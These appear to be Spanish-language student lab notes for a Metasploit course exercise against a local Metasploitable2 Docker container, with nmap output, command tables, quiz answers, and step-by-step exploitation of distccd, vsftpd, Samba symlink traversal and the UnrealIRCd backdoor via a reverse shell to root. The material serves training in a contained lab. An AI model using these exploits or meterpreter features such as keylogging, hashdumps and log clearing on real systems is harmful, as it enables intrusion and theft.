Para experimentar un poco con Metasploit, lo que haremos será desplegar una imagen docker vulnerable en nuestra Kali Linux.
Lo primero que habrá que hacer es instalar docker. Para ello hay que seguir los siguientes pasos:
1. Actualiza la lista de paquetes:
sudo su
apt update
apt upgrade
2. Instala los paquetes requeridos:
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
3. Añade la clave PGP de docker:
#obsoleto
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
# nuevo
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | \
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
4. Añade Docker al repositorio del sistema:
#obsoleto
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
# Nuevo
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/debian \
bookworm stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
5. Actualiza la lista de los paquetes de nuevo: sudo apt update
(Opcional) 6. Elimina las versiones obsoletas de Docker (en caso de tener algunas):
apt remove docker docker-engine docker.io
7. Instala docker:
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io -y
8. Verifica la instalación correcta:
docker run hello-world

Nota: si estas como root (lo puedes verificar introduciendo «whoami» por terminal y verificando que te devuelve root) en vuestro sistema Kali (porque hayas introducido «sudo su» por ejemplo antes de hacer los pasos de instalación, no es necesario añadir el sudo antes de los comandos).
Una vez tenemos instalado docker, pasaremos a descargarnos la imagen vulnerable. Para ello introduciremos por terminal el comando:
docker pull tleemcjr/metasploitable2

Tal y como vemos en la captura, como ya la teníamos descargada, notifica que la tenemos en la última versión. A ti si es la primera vez que la descargas te saldrán más mensajes.
Una vez descargada la imagen, hay que ejecutarla en un contenedor y abrir y mapear los puertos. Para ello hay que ejecutar el comando:
# Puerto 22 esta en uso
docker run -it -p 22:22 -p 80:80 -p 3306:3306 -p 445:445 -p 8080:8080 tleemcjr/metasploitable2
# usamos el 2222
docker run -it \
-p 2222:22 \
-p 80:80 \
-p 3306:3306 \
-p 445:445 \
-p 8080:8080 \
tleemcjr/metasploitable2
Si la imagen empieza a desplegarse, te saldrán mensajes parecidos al de la siguiente captura, terminando el proceso con acceso al contenedor creado.

Una vez tenemos acceso al mismo, introduciremos el comando ip a para listar las interfaces del mismo y poder situar a nivel de red a nuestra máquina vulnerable. Una vez sepamos la IP, dejaremos el terminal donde está el docker desplegado abierto y sin tocarlo, ya que si se cierra, estaremos cerrando el contenedor, por lo que para las pruebas habrá que abrir un terminal secundario. Por otro lado, en nuestro caso, la máquina vulnerable está situada en la IP 172.17.0.2, pero en tu caso puede diferir.
NOTA: esto nos logea dentro de la maquina por esto si hacemo ip a corre en el contenedor
ip a

Una forma de verificar que el contenedor está corriendo, es introduciendo el comando: (EN LA NUEVA TERMINAL)
ssh kali@192.168.122.33
sudo su
docker ps -a

Una vez que sabemos que el mismo está desplegado (status Up), lo único que nos falta verificar es que nuestra Kali tenga conectividad con la máquina a atacar. Para ello podemos usar el comando:
ping 172.17.0.2

Que en nuestro caso sería ping 172.17.0.2. Tal y como podemos ver en la imagen, tenemos conectividad y podremos empezar a hacer pruebas.
Pregunta
¿Qué puertos comunes tiene abiertos la máquina vulnerable?
Responde en orden ascendente.
Ejemplo de respuesta: 1,4,90,578,900
- Para esto ejecutamos en la segunda terminal
nmap -p- -sV -sC 172.17.0.2
- para local
nmap -p- -sV -sC localhost
-p- → escanea todos los puertos (1–65535)
-sV → detecta versiones
-sC → scripts básicos
- Resultado
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-20 17:43 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65510 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_ssl-date: 2026-04-20T21:46:04+00:00; 0s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 50419/tcp mountd
| 100005 1,2,3 58275/udp mountd
| 100021 1,3,4 33414/tcp nlockmgr
| 100021 1,3,4 58022/udp nlockmgr
| 100024 1 42939/tcp status
|_ 100024 1 49024/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open landesk-rc LANDesk remote management
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: LongColumnFlag, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, SupportsCompression, SupportsTransactions, SwitchToSSLAfterHandshake
| Status: Autocommit
|_ Salt: RZPbz_L?5+x=fh[k,6k:
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-04-20T21:46:04+00:00; 0s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
41515/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: BE:5D:5B:77:E5:6C (Unknown)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 59m59s, deviation: 2h00m00s, median: 0s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: B4E218382CFA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: b4e218382cfa
| NetBIOS computer name:
| Domain name:
| FQDN: b4e218382cfa
|_ System time: 2026-04-20T17:45:56-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.43 seconds
- TOSO los Puertos abiertos
21,22,23,25,80,111,139,445,512,513,514,1099,1524,2121,3306,3632,5432,5900,6000,6667,6697,8009,8180,8787,41515
- Pero como la pregunta dice puertos comunes serian estos
22,80,3306,445,8080
- que son los que mapeamos en docker


Lo básico de Metasploit
Sería imposible hablar de hacking sin mencionar Metasploit. Básicamente Metasploit es un framework de código abierto desarrollado en Perl y Ruby enfocado al equipos de Read Team.
Es una herramienta muy completa que cuenta con:
- Muchísimos exploits, que son vulnerabilidades conocidas, en las cuales tienen también
- Módulos, llamados payloads, que son los códigos que explotan estas vulnerabilidades.
- Encoders, que son una especie de códigos de cifrado para evasión de antivirus o sistemas de seguridad perimetral.
Otra de las ventajas de este framework es que nos permite interactuar también con herramientas externas, como Nmap o Nessus.
En este laboratorio, vamos a utilizar Metasploit.
Para lanzarlo, abre una terminal de Linux y escribe msfconsole
msfconsole

- Para poder actualizarlo podemos lanzar el siguiente comando: msfupdate
msfupdate
- NOTA: da este error ahora se instala con el sistema
msfupdate is no longer supported when Metasploit is part of the operating
system. Please use 'apt update; apt install metasploit-framework'

- Entonces para actualizar
sudo apt update
sudo apt install metasploit-framework -y
sudo apt autoremove
sudo apt upgrade -y
- volvemos a ingresar
msfconsole
- Y si quieres saber la versión que tienes, puedes ejecutar este comando: version.
version
- Si utilizas «?» o «help«, obtendrás un listado de los comandos más frecuentes. Aquí te lo dejamos más claros para que sepas como utilizarlos:
| show exploits | Mostrar todos los exploits del Framework. |
| show payloads | Mostrar todos los payloads del Framework. |
| show auxiliary | Mostrar todos los módulos auxiliares del Framework. |
| search [cadena] | Búsqueda por cadena |
| search type:[exploit, payload, auxiliary, encoder, post] [cadena] | Búsqueda por tipo y cadena |
| info | Muestra información acerca de un exploit cargado. |
| use [cadena] | Carga el exploit indicado. |
| LHOST | Variable local host |
| RHOST | Variable host remoto |
| set [parámetro] [valor] | Graba en el parámetro el valor indicado. |
| setg[parámetro] [valor] | Graba en valor para el parámetro indicado de forma global. |
| show options | Muestra las opciones de un exploit. |
| show targets | Muestra las plataformas objetivo del exploit. |
| set target [número] | Especifica un objetivo concreto de los posibles. |
| set payload [payload] | Especifica un payload a usar.. |
| show advanced | Muestra las opciones avanzadas. |
| set autorunscript migrate -f | Migra el proceso a un hilo independiente de forma automática. |
| check | Comprueba si un objetivo es vulnerable a un exploit. |
| exploit | Ejecuta un exploit |
| exploit -j | Ejecuta un exploit en background. |
| exploit -z | No interactúa con la sesión después de acceder con éxito |
| exploit -e encoder | Especifica el encoder a usar con el payload |
| exploit -h | Muestra la ayuda para el exploit especificado |
| sessions -l | Muestra la lista de sesiones disponibles |
| sessions -l -v | Muestra la lista de sesiones disponibles en modo verbose |
| sessions -s [script] | Ejecuta un script específico en todas las sesiones de meterpreter activas. |
| sessions -K | Mata todas las sesiones activas |
| sessions -c cmd | Ejecuta un comando en todas las sesiones activas |
| sessions -u sessionID | Actualiza una shell de Win32 a una consola de meterpreter |
| db_create [nombre] | Crea una base de datos |
| db_connect [nombre] | Crea y se conecta a una base de datos |
| db_nmap | Usa y carga los resultados de Nmap en una base de datos |
| db_autopwn -h | Muestra la ayuda para usar db_autopwn. |
| db_autopwn -p -r -e | Ejecuta db_autopwn contra todos los puertos encontrados, usa una shell reversa y los explota. |
| db_destroy | Elimina la actual base de datos |
| db_destroy [usuario]:[contraseña]@[host]:[puerto]/[base_de_datos] | Borra una base de datos concret |
Estudia esta tabla y familiarízate con estos comandos, ya que los usarás mucho.







-sV → Detecta versiones de servicios Además de puertos abiertos, intenta identificar qué corre en cada uno (Apache, SSH, etc.)

msfconsole -q

- Un modificador es un parámetro que le agregas a un comando para cambiar su comportamiento.
Un ejemplo práctico. Meterpreter
Siempre que se habla de Meterpreter son buenas noticias para el atacante. El meterpreter permite obtener una gran cantidad de información sobre una máquina objetivo comprometida.
No es más que un intérprete que permite interactuar con el objetivo (víctima) por medio de una serie de instrucciones directas que son fáciles de recordar y sirven para llevar a cabo procesos de post-explotación. La comunicación entre el interprete meterpreter y la maquina remota es vía SSL, es decir que la información intercambiada entre las dos maquinas viaja cifrada, además es posible utilizar múltiples canales de ejecución, es decir, múltiples programas ejecutándose en la maquina remota y todos pueden ser manejados desde meterpreter con los comandos «channel» y «execute».
Los comandos mas interesantes se listan a continuación:
| help | Muestra la ayuda. |
| run [script] | Ejecuta un script de meterpreter |
| sysinfo | Muestra la información del sistema comprometido |
| ls | Muestra los ficheros y directorios del sistema comprometido |
| use priv | Carga librerías para elevar privilegios |
| ps | Muestra los procesos en ejecución |
| migrate PID | Migra un proceso específico. |
| use incognito | Carga las librerías de incógnito. |
| list_tokens -u | Muestra los tokens disponibles por usuario |
| list_tokens -g | Muestra los tokens disponibles por grupo |
| impersonate_token [dominio]\\[usuario] | Apropiación de un token disponible del objetivo. |
| steal_token PID | Apropiación de un token disponible de un proceso dado |
| drop_token | Deja de usar el token actual |
| getsystem | Intenta elevar los privilegios del usuario de acceso. |
| shell | Ejecuta una Shell interactiva |
| execute -f cmd.exe -i | Ejecuta cmd.exe e interactúa con él |
| execute -f cmd.exe -i -t | Ejecuta cmd.exe con todos los tokens disponibles |
| execute -f cmd.exe -i -H -t | Ejecuta cmd.exe con todos los tokens disponibles y lo convierte en un proceso oculto. |
| rev2self | Retorna al usuario original que comprometió el sistema |
| reg [comando] | Ejecuta comandos en el registro del sistema comprometido |
| setdesktop [número] | Cambia de pantalla |
| screenshot | Toma una captura de pantalla del objetivo |
| upload file | Carga un fichero en el objetivo |
| download file | Descarga un fichero del objetivo |
| keyscan_start | Comienza el sniffing del teclado. |
| keyscan_dump | Vuelca las teclas pulsadas del sistema objetivo. |
| keyscan_stop | Para el sniffing del teclado. |
| getprivs | Intenta elevar privilegios. |
| uictl enable keyboard/mouse | Toma el control del teclado o ratón. |
| background | Sale de meterpreter sin cerrar la sesión. |
| hashdump | Obtiene todos los hashes del objetivo. |
| use sniffer | Carga las librerías para esnifar. |
| sniffer_interfaces | Lista los interfaces disponibles. |
| sniffer_dump [interfaceID] pcapname | Comienza a esnifar un interfaz. |
| sniffer_start [interfaceID] packet-buffer | Comienza a esnifar un rango específico. |
| sniffer_stats [interfaceID] | Para obtener estadísticas de la interfaz. |
| sniffer_stop interfaceID | Detiene el sniffer. |
| add_user [usuario] [contraseña] -h [ip] | Añade un usuario en el sistema objetivo. |
| add_group_user «Domain Admins» [usuario] -h [ip] | Añade un usuario al grupo de administradores en el sistema objetivo. |
| clearev | Vacía el log de eventos del sistema comprometido |
| timestomp | Cambia los atributos de un fichero. |
| reboot | Reinicia el sistema |
Ahora vamos a dejar un ejempo práctico en imágenes (no tienes que hacer nada), para que tengas una demostración visual de su uso. Para ello, hemos desplegado un entorno vulnerable y lo hemos atacado.
Al escanear la máquina con nmap, descubrimos el puerto 3632 donde se ejecuta un servicio distccd, el cual es un servicio de software que distribuye tareas de compilación entre otras máquinas participantes. Vamos a ver si tiene alguna vulnerabilidad. ¿Se te ocurre cómo?

Podemos buscar en internet o preguntar a metasploit qué vulnerabilidad hay asociada con ese servicio usando el comando search.execute -f cmd.exe -i -t
search distccd

Ahora vamos a usar dicho exploit con el comando use. Simplemente debemos escribir la ruta completa desde exploit/unix/misc/distcc_exec. Tal como se muestra en la siguiente captura:
use exploit/unix/misc/distcc_exec

- Y ver sus opciones
show options


Luego ejecutamos «show options» ya que cada exploit debe de configurarse con los parámetros correctos. En este caso los campos RPORT y RHOSTS que son el puerto e IP remoto (víctima) son campos obligatorios a rellenar (required a yes), por lo que lo establecemos con el comando set a los valores adecuados.

Una vez que tenemos todo listo, simplemente escribimos run o exploit.

Tal como se puede apreciar en la captura, ya tenemos un meterpreter válido dentro de la máquina atacada. Por lo que si escribimos, shell, obtendremos una consola muy sencilla, con la que poder probar algunos comandos básicos. Al escribir «exit» nos vamos de la consola, y volvemos al meterpreter donde podemos seguir ejecutando comandos de meterpreter (como por ejemplo el comando «sysinfo» para obtener información del sistema).





- ¿Qué comando intenta elevar los privilegios del usuario de acceso?
- getsystem




Atacando el servicio FTP
En el paso 1 pudiste comprobar con nmap que hay un servicio ftp ejecutándose en el puerto 21.
Intenta explotarlo con Metasploit con los conocimientos que se te han dado previamente.
- En una terminal
docker run -it \
-p 2222:22 \
-p 80:80 \
-p 3306:3306 \
-p 445:445 \
-p 8080:8080 \
tleemcjr/metasploitable2
- En la otra
nmap -p- -sV -sC 172.17.0.2


Pregunta 2
¿Existe alguna vulnerabilidad asociada al servicio y versión? Si la respuesta es que sí, ¿cómo se llama el módulo que hay que usar en Metasploit?
Formato de respuesta1 (No): No
Formato de respuesta2 (Sí): rutacompletadelmodulo
- Buscamos
search vsFTPd 2.3.4

- Respuesta
exploit/unix/ftp/vsftpd_234_backdoor

A por SMB
Otro de los puertos que vistes abierto fue el puerto 445, por lo que intuyes que está en ejecución el protocolo SMB.
Cuando se configura Samba con un recurso compartido escribible y «wide links» habilitados (por defecto está activado), también se puede utilizar como una especie de puerta trasera para acceder a archivos que no estaban destinados a ser compartidos.
Tu misión será verificar este tipo de vulnerabilidad y conseguir acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido de escritura, en caso de que se pueda usando Metasploit.
Pregunta 1
¿Qué comando, usando smbclient, tienes que introducir para verificar las conexiones anónimas?
Ejemplo de respuesta: smbclient -opcion1 -opcion2 -opcion3 //IP/rutaquesea
NOTA: Como las IPs pueden diferir, dejar indicado //IP en la respuesta sin especificar la misma.
- Respuesta
smbclient -L //IP
smbclient -L 172.17.0.2




- con base a la encontrado en el pregunta anterior debemos usar el moudlo symlik_traversal
use auxiliary/admin/smb/samba_symlink_traversal
set RHOSTS 172.17.0.2
set SMBSHARE tmp
run

- Luego nos conectamos a share y navegamos al root:
smbclient //172.17.0.2/tmp -N
cd rootfs
ls



Pregunta 6
Una vez en el directorio raíz, prueba a listar las cuentas de usuarios del sistema.
¿Cómo se llama el usuario con UID=2?
- para esto descargamos el archivo
cd rootfs
cd etc
# get lo descarga
get passwd
- Salimos y si listamos vemos el archivo
ls

- Abrimos el archivo
nano passwd
- el orden de los campos es
usuario:contraseña:UID:GID:descripción:directorio_home:shell
- El contenido del archivo
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
- por tanto seria el usuario
bin:x:2:2:bin:/bin:/bin/sh

IRC daemon
En el puerto 6667 hay un servicio IRC en ejecución. ¿Por qué no pruebas a investigar si es vulnerable y lo intentas explotar?
Pregunta 1
- Entonces para saber la versión
nmap -sV -p 6667 172.17.0.2

- No se logra obtener entonces
nc -vn 172.17.0.2 6667
- Tampoco se logra

- Prueba buscando el módulo en Metasploit, que sí detecta la versión:
- buscamos
search ircd

- Lo usamos
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 172.17.0.2
info




Pregunta 2
¿Qué tipo de vulnerabilidad presenta?


Pregunta 3
¿Cuál es el módulo que has usado para conseguir acceso al sistema?
exploit/unix/irc/unreal_ircd_3281_backdoor

Pregunta 4
¿Qué UID tienes al conseguir explotar la vulnerabilidad?
- para esto la debemos explotar
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 172.17.0.2
set PAYLOAD cmd/unix/reverse
set LHOST 172.17.0.1
run

- Una vez que obtengas la sesión, ejecuta:
id
- Resultado
uid=0(root) gid=0(root) groups=0(root)

